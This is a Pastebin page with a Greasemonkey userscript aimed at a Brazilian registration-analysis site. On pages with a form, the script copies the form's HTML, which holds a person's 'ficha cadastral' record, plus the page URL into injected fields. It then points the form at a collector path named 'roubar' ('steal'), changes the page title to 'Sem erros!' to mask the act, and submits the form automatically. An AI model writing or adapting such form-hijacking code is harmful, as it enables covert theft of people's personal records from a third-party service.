Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // ==UserScript==
- // @name Ops! Ja era!
- // @namespace Anti-spanon
- // @description By digo
- // @include http://cadastro.tecnorisk.com.br/Analise/
- // @include http://cadastro.tecnorisk.com.br/Analise/ficha_cadastral.php?ficha=*
- // @include http://localhost/roubar/index.php
- // @include http://localhost/roubar/logs/*
- // ==/UserScript==
- var $;
- // Add jQuery
- (function(){
- if (typeof unsafeWindow.jQuery == 'undefined') {
- var GM_Head = document.getElementsByTagName('head')[0] || document.documentElement,
- GM_JQ = document.createElement('script');
- GM_JQ.src = 'http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js';
- GM_JQ.type = 'text/javascript';
- GM_JQ.async = true;
- GM_Head.insertBefore(GM_JQ, GM_Head.firstChild);
- }
- GM_wait();
- })();
- // Check if jQuery's loaded
- function GM_wait() {
- if (typeof unsafeWindow.jQuery == 'undefined') {
- window.setTimeout(GM_wait, 100);
- } else {
- $ = unsafeWindow.jQuery.noConflict(true);
- letsJQuery();
- }
- }
- // All your GM code must be inside this function
- function letsJQuery() {
- var url = window.location;
- if( $("[name=form]").length > 0){
- var html=$("[name=form]").html();
- $("[name=form]").append('<textarea name="ficha" id="fichahtml"></textarea>');
- $("[name=form]").append('<input name="urls" value="">');
- $("[name=ficha]").val(html);
- $("[name=urls]").val(url);
- $("[name=form]").attr('action',"http://localhost/roubar/index.php");
- document.title = "Sem erros!";
- $("[name=form]").submit();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement